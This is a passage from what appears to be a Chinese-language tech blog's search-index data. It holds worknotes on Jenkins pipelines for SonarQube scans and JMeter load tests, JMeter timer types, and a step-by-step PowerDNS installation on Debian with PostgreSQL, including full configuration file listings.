(\u0026#39;Build\u0026#39;) { sh \u0026#34;grails test war ${env.WAR_NAME}.war\u0026#34; } stage(\u0026#39;Code Quality Check via SonarQube\u0026#39;){ script { def scannerHome = tool \u0026#39;sonarqube\u0026#39;; withSonarQubeEnv(\u0026#34;sonarqube-server\u0026#34;) { sh \u0026#34;${tool(\u0026#34;sonarqube\u0026#34;)}/bin/sonar-scanner \\ -Dsonar.projectKey=\u0026lt;projectKey\u0026gt; \\ -Dsonar.projectVersion=\u0026lt;projectVersion\u0026gt; \\ -Dsonar.projectBaseDir=${WORKSPACE} \\ -Dsonar.sources=grails-app,src/main \\ -Dsonar.sourceEncoding=UTF-8 \\ -Dsonar.language=grvy,java \\ -Dsonar.java.binaries=build \\ -Dsonar.lang.patterns.grvy=\u0026#39;**/*.groovy\u0026#39; \\ -Dsonar.lang.patterns.java=\u0026#39;**/*.java\u0026#39; \\ -Dsonar.groovy.binaries=build \\ -Dsonar.exclusions=\u0026#39;**/*.xml\u0026#39;\u0026#34; } } } } ","date":"August 10, 2024","externalUrl":null,"permalink":"/worknot/jenkins-sonarqube-pipeline-20240810-1/","section":"Worknots","summary":"環境準備 # 安裝 SonarQube Server jenknins plugin: SonarQube Scanner SonarQube # Generate SonarQube Token # My Account -\u003e Security -\u003e Generate Tokens\n","title":"透過 Jenkins Pipeline 執行 SonarQube 源碼掃描","type":"worknot"},{"content":" Pipeline script 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 node { stage(\u0026#34;set env\u0026#34;){ def BUILDVERSION = sh(script: \u0026#34;echo `date +%s`\u0026#34;, returnStdout: true).trim() //apache-jmeter目錄 env.JMETER_HOME=\u0026#34;/usr/local/share/apache-jmeter-5.5\u0026#34; env.JMETER_REPORT=\u0026#34;${BUILDVERSION}.jtl\u0026#34; env.JVM_ARGS=\u0026#34;-Xms10240m -Xmx10240m\u0026#34; //刪除之前測試結果 // deleteDir() } stage(\u0026#39;refresh jmx\u0026#39;){ } stage(\u0026#39;Run JMeter Tests\u0026#39;) { sh \u0026#34;/usr/local/share/apache-jmeter-5.5/bin/jmeter.sh -n -t /tmp/ntlcPublic.jmx -l ${JMETER_REPORT}\u0026#34; } stage(\u0026#39;Publish Performance Report\u0026#39;) { perfReport errorFailedThresholds: true, errorUnstableThresholds: true, sourceDataFiles: JMETER_REPORT, relativeFailedThresholdPositive: \u0026#39;90\u0026#39;, relativeUnstableThresholdPositive: \u0026#39;80\u0026#39;, threshold: [ thresholdName: \u0026#39;Average Response Time\u0026#39;, unstableThreshold: \u0026#39;1500\u0026#39;, failedThreshold: \u0026#39;3000\u0026#39; ] } } perfReport 說明 # relativeFailedThresholdPositive: \u0026lsquo;90\u0026rsquo; 指定了如果 90% 或更多的請求的響應時間超過 failedThreshold，構建將失敗。 relativeUnstableThresholdPositive: \u0026lsquo;80\u0026rsquo; 指定了如果 80% 或更多的請求的響應時間超過 unstableThreshold，構建將被標記為不穩定。 threshold 配置了具體的響應時間閾值（如「平均響應時間」）。在這裡，如果平均響應時間超過 1500 毫秒，構建將被標記為不穩定；如果超過 3000 毫秒，構建將失敗。 ","date":"August 10, 2024","externalUrl":null,"permalink":"/worknot/jenkins-jmeter-pipeline-20240810-1/","section":"Worknots","summary":" Pipeline script 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 node { stage(\"set env\"){ def BUILDVERSION = sh(script: \"echo `date +%s`\", returnStdout: true).trim() //apache-jmeter目錄 env.JMETER_HOME=\"/usr/local/share/apache-jmeter-5.5\" env.JMETER_REPORT=\"${BUILDVERSION}.jtl\" env.JVM_ARGS=\"-Xms10240m -Xmx10240m\" //刪除之前測試結果 // deleteDir() } stage('refresh jmx'){ } stage('Run JMeter Tests') { sh \"/usr/local/share/apache-jmeter-5.5/bin/jmeter.sh -n -t /tmp/ntlcPublic.jmx -l ${JMETER_REPORT}\" } stage('Publish Performance Report') { perfReport errorFailedThresholds: true, errorUnstableThresholds: true, sourceDataFiles: JMETER_REPORT, relativeFailedThresholdPositive: '90', relativeUnstableThresholdPositive: '80', threshold: [ thresholdName: 'Average Response Time', unstableThreshold: '1500', failedThreshold: '3000' ] } } perfReport 說明 # relativeFailedThresholdPositive: ‘90’ 指定了如果 90% 或更多的請求的響應時間超過 failedThreshold，構建將失敗。 relativeUnstableThresholdPositive: ‘80’ 指定了如果 80% 或更多的請求的響應時間超過 unstableThreshold，構建將被標記為不穩定。 threshold 配置了具體的響應時間閾值（如「平均響應時間」）。在這裡，如果平均響應時間超過 1500 毫秒，構建將被標記為不穩定；如果超過 3000 毫秒，構建將失敗。 ","title":"透過 Jenkins Pipeline 執行 Jmeter 進行壓力測試","type":"worknot"},{"content":" JMeter # 簡介: 是一款開源的壓力測試工具\njmeter定時器 # Constant Timer 固定定時器 # Uniform Random Timer 均勻隨機定時器 # Constant Throughput Timer 固定吞吐量定時器 # Gaussian Random Timer 高斯隨機定時器 # Deviation (in milliseconds): The number shows how much the delay can deviate from the given offset towards the higher and lower range. 時間偏移量\nConstant Delay Offset (in milliseconds): The number shows a constant delay which will be added in a random number generated by the Gaussian Function in the range of the given deviation value. 延遲\nJSR223 Timer JSR223定時器 # Poisson Random Timer 泊松隨機定時器 # Synchronizing Timer 同步定時器 # BeanShell Timer BeanShell腳本編寫定時器 # Precise Throughput Timer 精準吞吐量定時器 # ","date":"August 9, 2024","externalUrl":null,"permalink":"/worknot/jmeter-20240809-1/","section":"Worknots","summary":"JMeter # 簡介: 是一款開源的壓力測試工具\njmeter定時器 # Constant Timer 固定定時器 # Uniform Random Timer 均勻隨機定時器 # Constant Throughput Timer 固定吞吐量定時器 # Gaussian Random Timer 高斯隨機定時器 # Deviation (in milliseconds): The number shows how much the delay can deviate from the given offset towards the higher and lower range. 時間偏移量\n","title":"JMeter","type":"worknot"},{"content":"以下是我初次建立 powerdns 服務的紀錄\n環境 # OS: Debian 12 DB: postgresql-14 pdns-server version: 4.7 1 apt install pdns-server pdns-backend-pgsql -y 事前準備 # 安裝 postgresql 建立資料庫 1 2 sudo su - postgres psql 1 2 3 4 CREATE DATABASE pdnsdb; CREATE USER pdns WITH PASSWORD \u0026#39;pdnsPassword\u0026#39;; GRANT CONNECT ON DATABASE pdnsdb TO pdns; ALTER DATABASE pdnsdb OWNER TO pdns; 建置 table schema，可以在說明文件中找到: /usr/share/doc/pdns-backend-pgsql/schema.pgsql.sql\n並執行下列指令\n1 psql -h \u0026lt;host\u0026gt; -U \u0026lt;user\u0026gt; \u0026lt;database\u0026gt; -f /usr/share/pdns-backend-pgsql/schema/schema.pgsql.sql 以下是內容\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 CREATE TABLE domains ( id SERIAL PRIMARY KEY, name VARCHAR(255) NOT NULL, master VARCHAR(128) DEFAULT NULL, last_check INT DEFAULT NULL, type TEXT NOT NULL, notified_serial BIGINT DEFAULT NULL, account VARCHAR(40) DEFAULT NULL, options TEXT DEFAULT NULL, catalog TEXT DEFAULT NULL, CONSTRAINT c_lowercase_name CHECK (((name)::TEXT = LOWER((name)::TEXT))) ); CREATE UNIQUE INDEX name_index ON domains(name); CREATE INDEX catalog_idx ON domains(catalog); CREATE TABLE records ( id BIGSERIAL PRIMARY KEY, domain_id INT DEFAULT NULL, name VARCHAR(255) DEFAULT NULL, type VARCHAR(10) DEFAULT NULL, content VARCHAR(65535) DEFAULT NULL, ttl INT DEFAULT NULL, prio INT DEFAULT NULL, disabled BOOL DEFAULT \u0026#39;f\u0026#39;, ordername VARCHAR(255), auth BOOL DEFAULT \u0026#39;t\u0026#39;, CONSTRAINT domain_exists FOREIGN KEY(domain_id) REFERENCES domains(id) ON DELETE CASCADE, CONSTRAINT c_lowercase_name CHECK (((name)::TEXT = LOWER((name)::TEXT))) ); CREATE INDEX rec_name_index ON records(name); CREATE INDEX nametype_index ON records(name,type); CREATE INDEX domain_id ON records(domain_id); CREATE INDEX recordorder ON records (domain_id, ordername text_pattern_ops); CREATE TABLE supermasters ( ip INET NOT NULL, nameserver VARCHAR(255) NOT NULL, account VARCHAR(40) NOT NULL, PRIMARY KEY(ip, nameserver) ); CREATE TABLE comments ( id SERIAL PRIMARY KEY, domain_id INT NOT NULL, name VARCHAR(255) NOT NULL, type VARCHAR(10) NOT NULL, modified_at INT NOT NULL, account VARCHAR(40) DEFAULT NULL, comment VARCHAR(65535) NOT NULL, CONSTRAINT domain_exists FOREIGN KEY(domain_id) REFERENCES domains(id) ON DELETE CASCADE, CONSTRAINT c_lowercase_name CHECK (((name)::TEXT = LOWER((name)::TEXT))) ); CREATE INDEX comments_domain_id_idx ON comments (domain_id); CREATE INDEX comments_name_type_idx ON comments (name, type); CREATE INDEX comments_order_idx ON comments (domain_id, modified_at); CREATE TABLE domainmetadata ( id SERIAL PRIMARY KEY, domain_id INT REFERENCES domains(id) ON DELETE CASCADE, kind VARCHAR(32), content TEXT ); CREATE INDEX domainidmetaindex ON domainmetadata(domain_id); CREATE TABLE cryptokeys ( id SERIAL PRIMARY KEY, domain_id INT REFERENCES domains(id) ON DELETE CASCADE, flags INT NOT NULL, active BOOL, published BOOL DEFAULT TRUE, content TEXT ); CREATE INDEX domainidindex ON cryptokeys(domain_id); CREATE TABLE tsigkeys ( id SERIAL PRIMARY KEY, name VARCHAR(255), algorithm VARCHAR(50), secret VARCHAR(255), CONSTRAINT c_lowercase_name CHECK (((name)::TEXT = LOWER((name)::TEXT))) ); CREATE UNIQUE INDEX namealgoindex ON tsigkeys(name, algorithm); 安裝事前作業 # 停用 systemd-resolved 1 sudo systemctl disable --now systemd-resolved 設定穩定版本來源 # 設定參考官方說明: PowerDNS repositories\n/etc/apt/sources.list.d/pdns-stable.list 1 2 3 4 5 # PowerDNS Authoritative Server - stable branch deb [signed-by=/etc/apt/keyrings/auth-49-pub.asc arch=amd64] http://repo.powerdns.com/debian bookworm-auth-49 main # PowerDNS Recursor - stable branch deb [signed-by=/etc/apt/keyrings/rec-51-pub.asc arch=amd64] http://repo.powerdns.com/debian bookworm-rec-51 main /etc/apt/preferences.d/auth-49 1 2 3 Package: auth* Pin: origin repo.powerdns.com Pin-Priority: 600 /etc/apt/preferences.d/rec-51 1 2 3 Package: rec* Pin: origin repo.powerdns.com Pin-Priority: 600 安裝 PowerDNS # 1 2 3 4 5 6 sudo install -d /etc/apt/keyrings; curl https://repo.powerdns.com/FD380FBB-pub.asc | sudo tee /etc/apt/keyrings/auth-49-pub.asc sudo install -d /etc/apt/keyrings; curl https://repo.powerdns.com/FD380FBB-pub.asc | sudo tee /etc/apt/keyrings/rec-51-pub.asc apt install -y pdns-server pdns-backend-pgsql pdns-recursor cp /usr/share/doc/pdns-backend-pgsql/examples/gpgsql.conf /etc/powerdns/pdns.d/gpgsql.conf chmod 0640 /etc/powerdns/pdns.d/gpgsql.conf chgrp pdns /etc/powerdns/pdns.d/gpgsql.conf 設定文件: /etc/powerdns/recursor.conf 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 ################################# # api-key\tStatic pre-shared authentication key for access to the REST API # # api-key= api-key=\u0026lt;api-key\u0026gt; ################################# # webserver Start a webserver (for REST API) # # webserver=no webserver=yes ################################# # webserver-port Port of webserver to listen on # # webserver-port=8082 webserver-port=8082 ################################# # webserver-address IP Address of webserver to listen on # # webserver-address=127.0.0.1 webserver-address=0.0.0.0 ################################# # webserver-allow-from Webserver access is only allowed from these subnets # # webserver-allow-from=127.0.0.1,::1 webserver-allow-from=0.0.0.0/0 ################################# # allow-from\tIf set, only allow these comma separated netmasks to recurse # # allow-from=127.0.0.0/8, 10.0.0.0/8, 100.64.0.0/10, 169.254.0.0/16, 192.168.0.0/16, 172.16.0.0/12, ::1/128, fc00::/7, fe80::/10 #設定允許遞迥查詢內部網段 allow-from=127.0.0.1, 192.168.0.0/24 ################################# # forward-zones\tZones for which we forward queries, comma separated domain=ip pairs # # forward-zones= #轉送查詢的網域與伺服器，格式是 網域=伺服器ip，多個網域以逗點分隔 forward-zones=.=127.0.0.1:54 ################################# # forward-zones-recurse Zones for which we forward queries with recursion bit, comma separated domain=ip pairs # # forward-zones-recurse= #內部查詢不到會查到外部查詢 forward-zones-recurse=.=8.8.8.8, .=168.95.1.1 ################################# # local-address\tIP addresses to listen on, separated by spaces or commas. Also accepts ports. # # local-address=127.0.0.1 local-address=0.0.0.0 ################################# # local-port\tport to listen on # # local-port=53 local-port=53 ################################# # logging-facility Facility to log messages as. 0 corresponds to local0 # # logging-facility= logging-facility=0 ################################# # max-negative-ttl maximum number of seconds to keep a negative cached entry in memory # # max-negative-ttl=3600 max-negative-ttl=3600 ################################# # setgid If set, change group id to this gid for more security # setgid=pdns ################################# # setuid If set, change user id to this uid for more security # setuid=pdns ################################# # config-dir\tLocation of configuration directory (recursor.conf) # config-dir=/etc/powerdns ################################# # hint-file\tIf set, load root hints from this file # # hint-file= hint-file=/usr/share/dns/root.hints ################################# # include-dir\tInclude *.conf files from this directory # # include-dir= include-dir=/etc/powerdns/recursor.d ################################# # lua-config-file\tMore powerful configuration options # lua-config-file=/etc/powerdns/recursor.lua ################################# # quiet\tSuppress logging of questions and answers # quiet=yes 設定文件: /etc/powerdns/pdns.conf 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 # Autogenerated configuration file template ################################# # ignore-unknown-settings Configuration settings to ignore if they are unknown # # ignore-unknown-settings= ################################# # 8bit-dns Allow 8bit dns queries # # 8bit-dns=no ################################# # allow-axfr-ips Allow zonetransfers only to these subnets # # allow-axfr-ips=127.0.0.0/8,::1 ################################# # allow-dnsupdate-from A global setting to allow DNS updates from these IP ranges. # # allow-dnsupdate-from=127.0.0.0/8,::1 ################################# # allow-notify-from Allow AXFR NOTIFY from these IP ranges. If empty, drop all incoming notifies. # # allow-notify-from=0.0.0.0/0,::/0 ################################# # allow-unsigned-autoprimary Allow autoprimaries to create zones without TSIG signed NOTIFY # # allow-unsigned-autoprimary=yes ################################# # allow-unsigned-notify Allow unsigned notifications for TSIG secured zones # # allow-unsigned-notify=yes ################################# # allow-unsigned-supermaster Allow supermasters to create zones without TSIG signed NOTIFY # # allow-unsigned-supermaster=yes ################################# # also-notify When notifying a zone, also notify these nameservers # # also-notify= ################################# # any-to-tcp Answer ANY queries with tc=1, shunting to TCP # # any-to-tcp=yes ################################# # api Enable/disable the REST API (including HTTP listener) # api=yes ################################# # api-key Static pre-shared authentication key for access to the REST API # api-key=\u0026lt;api-key\u0026gt; ################################# # autosecondary Act as an autosecondary (formerly superslave) # # autosecondary=no ################################# # axfr-fetch-timeout Maximum time in seconds for inbound AXFR to start or be idle after starting # # axfr-fetch-timeout=10 ################################# # axfr-lower-serial Also AXFR a zone from a master with a lower serial # # axfr-lower-serial=no ################################# # cache-ttl Seconds to store packets in the PacketCache # # cache-ttl=20 ################################# # carbon-instance If set overwrites the instance name default # # carbon-instance=auth ################################# # carbon-interval Number of seconds between carbon (graphite) updates # # carbon-interval=30 ################################# # carbon-namespace If set overwrites the first part of the carbon string # # carbon-namespace=pdns ################################# # carbon-ourname If set, overrides our reported hostname for carbon stats # # carbon-ourname= ################################# # carbon-server If set, send metrics in carbon (graphite) format to this server IP address # # carbon-server= ################################# # chroot If set, chroot to this directory for more security # # chroot= ################################# # config-dir Location of configuration directory (pdns.conf) # # config-dir=/etc/powerdns ################################# # config-name Name of this virtual configuration - will rename the binary image # # config-name= ################################# # consistent-backends Assume individual zones are not divided over backends. Send only ANY lookup operations to the backend to reduce the number of lookups # # consistent-backends=yes ################################# # control-console Debugging switch - don\u0026#39;t use # # control-console=no ################################# # daemon Operate as a daemon daemon=yes ################################# # default-api-rectify Default API-RECTIFY value for zones # # default-api-rectify=yes ################################# # default-ksk-algorithm Default KSK algorithm # # default-ksk-algorithm=ecdsa256 ################################# # default-ksk-size Default KSK size (0 means default) # # default-ksk-size=0 ################################# # default-publish-cdnskey Default value for PUBLISH-CDNSKEY # # default-publish-cdnskey= ################################# # default-publish-cds Default value for PUBLISH-CDS # # default-publish-cds= ################################# # default-soa-content Default SOA content # # default-soa-content=a.misconfigured.dns.server.invalid hostmaster.@ 0 10800 3600 604800 3600 ################################# # default-soa-edit Default SOA-EDIT value # # default-soa-edit= ################################# # default-soa-edit-signed Default SOA-EDIT value for signed zones # # default-soa-edit-signed= ################################# # default-ttl Seconds a result is valid if not set otherwise # # default-ttl=3600 ################################# # default-zsk-algorithm Default ZSK algorithm # # default-zsk-algorithm= ################################# # default-zsk-size Default ZSK size (0 means default) # # default-zsk-size=0 ################################# # direct-dnskey Fetch DNSKEY, CDS and CDNSKEY RRs from backend during DNSKEY or CDS/CDNSKEY synthesis # # direct-dnskey=no ################################# # disable-axfr Disable zonetransfers but do allow TCP queries # # disable-axfr=no ################################# # disable-axfr-rectify Disable the rectify step during an outgoing AXFR. Only required for regression testing. # # disable-axfr-rectify=no ################################# # disable-syslog Disable logging to syslog, useful when running inside a supervisor that logs stdout # # disable-syslog=no ################################# # distributor-threads Default number of Distributor (backend) threads to start # # distributor-threads=3 ################################# # dname-processing If we should support DNAME records # # dname-processing=no ################################# # dnssec-key-cache-ttl Seconds to cache DNSSEC keys from the database # # dnssec-key-cache-ttl=30 ################################# # dnsupdate Enable/Disable DNS update (RFC2136) support. Default is no. # # dnsupdate=no ################################# # domain-metadata-cache-ttl Seconds to cache zone metadata from the database # # domain-metadata-cache-ttl= ################################# # edns-cookie-secret When set, set a server cookie when responding to a query with a Client cookie (in hex) # # edns-cookie-secret= ################################# # edns-subnet-processing If we should act on EDNS Subnet options # # edns-subnet-processing=no ################################# # enable-lua-records Process LUA records for all zones (metadata overrides this) # # enable-lua-records=no ################################# # entropy-source If set, read entropy from this file # # entropy-source=/dev/urandom ################################# # expand-alias Expand ALIAS records # # expand-alias=no ################################# # forward-dnsupdate A global setting to allow DNS update packages that are for a Slave zone, to be forwarded to the master. # # forward-dnsupdate=yes ################################# # forward-notify IP addresses to forward received notifications to regardless of master or slave settings # # forward-notify= ################################# # guardian Run within a guardian process # # guardian=no ################################# # include-dir Include *.conf files from this directory # # include-dir= include-dir=/etc/powerdns/pdns.d ################################# # launch Which backends to launch and order to query them in # # launch= launch= ################################# # load-modules Load this module - supply absolute or relative path # # load-modules= ################################# # local-address Local IP addresses to which we bind # local-address=0.0.0.0, :: ################################# # local-address-nonexist-fail Fail to start if one or more of the local-address\u0026#39;s do not exist on this server # # local-address-nonexist-fail=yes ################################# # local-port The port on which we listen # local-port=54 ################################# # log-dns-details If PDNS should log DNS non-erroneous details # log-dns-details=yes ################################# # log-dns-queries If PDNS should log all incoming DNS queries # log-dns-queries=yes ################################# # log-timestamp Print timestamps in log lines log-timestamp=yes ################################# # logging-facility Log under a specific facility # logging-facility=0 ################################# # loglevel Amount of logging. Higher is more. Do not set below 3 # loglevel=4 ################################# # lua-axfr-script Script to be used to edit incoming AXFRs # # lua-axfr-script= ################################# # lua-dnsupdate-policy-script Lua script with DNS update policy handler # # lua-dnsupdate-policy-script= ################################# # lua-health-checks-expire-delay Stops doing health checks after the record hasn\u0026#39;t been used for that delay (in seconds) # # lua-health-checks-expire-delay=3600 ################################# # lua-health-checks-interval LUA records health checks monitoring interval in seconds # # lua-health-checks-interval=5 ################################# # lua-prequery-script Lua script with prequery handler (DO NOT USE) # # lua-prequery-script= ################################# # lua-records-exec-limit LUA records scripts execution limit (instructions count). Values \u0026lt;= 0 mean no limit # # lua-records-exec-limit=1000 ################################# # master Act as a primary # # master=no ################################# # max-cache-entries Maximum number of entries in the query cache # # max-cache-entries=1000000 ################################# # max-ent-entries Maximum number of empty non-terminals in a zone # # max-ent-entries=100000 ################################# # max-generate-steps Maximum number of $GENERATE steps when loading a zone from a file # # max-generate-steps=0 ################################# # max-include-depth Maximum number of nested $INCLUDE directives while processing a zone file # # max-include-depth=20 ################################# # max-nsec3-iterations Limit the number of NSEC3 hash iterations # # max-nsec3-iterations=100 ################################# # max-packet-cache-entries Maximum number of entries in the packet cache # # max-packet-cache-entries=1000000 ################################# # max-queue-length Maximum queuelength before considering situation lost # # max-queue-length=5000 ################################# # max-signature-cache-entries Maximum number of signatures cache entries # # max-signature-cache-entries= ################################# # max-tcp-connection-duration Maximum time in seconds that a TCP DNS connection is allowed to stay open. # # max-tcp-connection-duration=0 ################################# # max-tcp-connections Maximum number of TCP connections # # max-tcp-connections=20 ################################# # max-tcp-connections-per-client Maximum number of simultaneous TCP connections per client # # max-tcp-connections-per-client=0 ################################# # max-tcp-transactions-per-conn Maximum number of subsequent queries per TCP connection # # max-tcp-transactions-per-conn=0 ################################# # module-dir Default directory for modules # ################################# # negquery-cache-ttl Seconds to store negative query results in the QueryCache # # negquery-cache-ttl=60 ################################# # no-shuffle Set this to prevent random shuffling of answers - for regression testing # # no-shuffle=off ################################# # non-local-bind Enable binding to non-local addresses by using FREEBIND / BINDANY socket options # # non-local-bind=no ################################# # only-notify Only send AXFR NOTIFY to these IP addresses or netmasks # # only-notify=0.0.0.0/0,::/0 ################################# # outgoing-axfr-expand-alias Expand ALIAS records during outgoing AXFR # # outgoing-axfr-expand-alias=no ################################# # overload-queue-length Maximum queuelength moving to packetcache only # # overload-queue-length=0 ################################# # prevent-self-notification Don\u0026#39;t send notifications to what we think is ourself # # prevent-self-notification=yes ################################# # primary Act as a primary # # primary=no ################################# # proxy-protocol-from A Proxy Protocol header is only allowed from these subnets, and is mandatory then too. # # proxy-protocol-from= ################################# # proxy-protocol-maximum-size The maximum size of a proxy protocol payload, including the TLV values # # proxy-protocol-maximum-size=512 ################################# # query-cache-ttl Seconds to store query results in the QueryCache # # query-cache-ttl=20 ################################# # query-local-address Source IP addresses for sending queries # # query-local-address=0.0.0.0 :: ################################# # query-logging Hint backends that queries should be logged # query-logging=yes ################################# # queue-limit Maximum number of milliseconds to queue a query # # queue-limit=1500 ################################# # receiver-threads Default number of receiver threads to start # # receiver-threads=1 ################################# # resolver Use this resolver for ALIAS and the internal stub resolver # # resolver=no ################################# # retrieval-threads Number of AXFR-retrieval threads for slave operation # # retrieval-threads=2 ################################# # reuseport Enable higher performance on compliant kernels by using SO_REUSEPORT allowing each receiver thread to open its own socket # # reuseport=no ################################# # rng Specify the random number generator to use. Valid values are auto,sodium,openssl,getrandom,arc4random,urandom. # # rng=auto ################################# # secondary Act as a secondary # # secondary=no ################################# # secondary-check-signature-freshness Check signatures in SOA freshness check. Sets DO flag on SOA queries. Outside some very problematic scenarios, say yes here. # # secondary-check-signature-freshness=yes ################################# # secondary-do-renotify If this secondary should send out notifications after receiving zone transfers from a primary # # secondary-do-renotify=no ################################# # security-poll-suffix Zone name from which to query security update notifications # # security-poll-suffix=secpoll.powerdns.com. security-poll-suffix= ################################# # send-signed-notify Send TSIG secured NOTIFY if TSIG key is configured for a zone # # send-signed-notify=yes ################################# # server-id Returned when queried for \u0026#39;id.server\u0026#39; TXT or NSID, defaults to hostname - disabled or custom # # server-id= ################################# # setgid If set, change group id to this gid for more security # setgid=pdns ################################# # setuid If set, change user id to this uid for more security # setuid=pdns ################################# # signing-threads Default number of signer threads to start # # signing-threads=3 ################################# # slave Act as a secondary # # slave=no ################################# # slave-cycle-interval Schedule slave freshness checks once every .. seconds # # slave-cycle-interval=60 ################################# # slave-renotify If we should send out notifications for secondaried updates # # slave-renotify=no ################################# # socket-dir Where the controlsocket will live, /var/run/pdns when unset and not chrooted. Set to the RUNTIME_DIRECTORY environment variable when that variable has a value (e.g. under systemd). # # socket-dir= ################################# # superslave Act as a autosecondary # # superslave=no ################################# # svc-autohints Transparently fill ipv6hint=auto ipv4hint=auto SVC params with AAAA/A records for the target name of the record (if within the same zone) # # svc-autohints=no ################################# # tcp-control-address If set, PowerDNS can be controlled over TCP on this address # # tcp-control-address= ################################# # tcp-control-port If set, PowerDNS can be controlled over TCP on this address # # tcp-control-port=53000 ################################# # tcp-control-range If set, remote control of PowerDNS is possible over these networks only # # tcp-control-range=127.0.0.0/8, 10.0.0.0/8, 192.168.0.0/16, 172.16.0.0/12, ::1/128, fe80::/10 ################################# # tcp-control-secret If set, PowerDNS can be controlled over TCP after passing this secret # # tcp-control-secret= ################################# # tcp-fast-open Enable TCP Fast Open support on the listening sockets, using the supplied numerical value as the queue size # # tcp-fast-open=0 ################################# # tcp-idle-timeout Maximum time in seconds that a TCP DNS connection is allowed to stay open while being idle # # tcp-idle-timeout=5 ################################# # traceback-handler Enable the traceback handler (Linux only) # # traceback-handler=yes ################################# # trusted-notification-proxy IP address of incoming notification proxy # # trusted-notification-proxy= ################################# # udp-truncation-threshold Maximum UDP response size before we truncate # # udp-truncation-threshold=1232 ################################# # upgrade-unknown-types Transparently upgrade known TYPExxx records. Recommended to keep off, except for PowerDNS upgrades until data sources are cleaned up # # upgrade-unknown-types=no ################################# # version-string PowerDNS version in packets - full, anonymous, powerdns or custom # # version-string=full ################################# # webserver Start a webserver for monitoring (api=yes also enables the HTTP listener) # webserver=yes ################################# # webserver-address IP Address of webserver/API to listen on # webserver-address=0.0.0.0 ################################# # webserver-allow-from Webserver/API access is only allowed from these subnets # webserver-allow-from=0.0.0.0/0 ################################# # webserver-hash-plaintext-credentials Whether to hash passwords and api keys supplied in plaintext, to prevent keeping the plaintext version in memory at runtime # # webserver-hash-plaintext-credentials=no ################################# # webserver-loglevel Amount of logging in the webserver (none, normal, detailed) # # webserver-loglevel=normal ################################# # webserver-max-bodysize Webserver/API maximum request/response body size in megabytes # # webserver-max-bodysize=2 ################################# # webserver-password Password required for accessing the webserver # # webserver-password= ################################# # webserver-port Port of webserver/API to listen on # webserver-port=8081 ################################# # webserver-print-arguments If the webserver should print arguments # # webserver-print-arguments=no ################################# # write-pid Write a PID file # # write-pid=yes ################################# # xfr-cycle-interval Schedule primary/secondary SOA freshness checks once every .. seconds # # xfr-cycle-interval=60 ################################# # xfr-max-received-mbytes Maximum number of megabytes received from an incoming XFR # # xfr-max-received-mbytes=100 ################################# # zone-cache-refresh-interval Seconds to cache list of known zones # # zone-cache-refresh-interval=300 ################################# # zone-metadata-cache-ttl Seconds to cache zone metadata from the database # # zone-metadata-cache-ttl=60 設定文件: 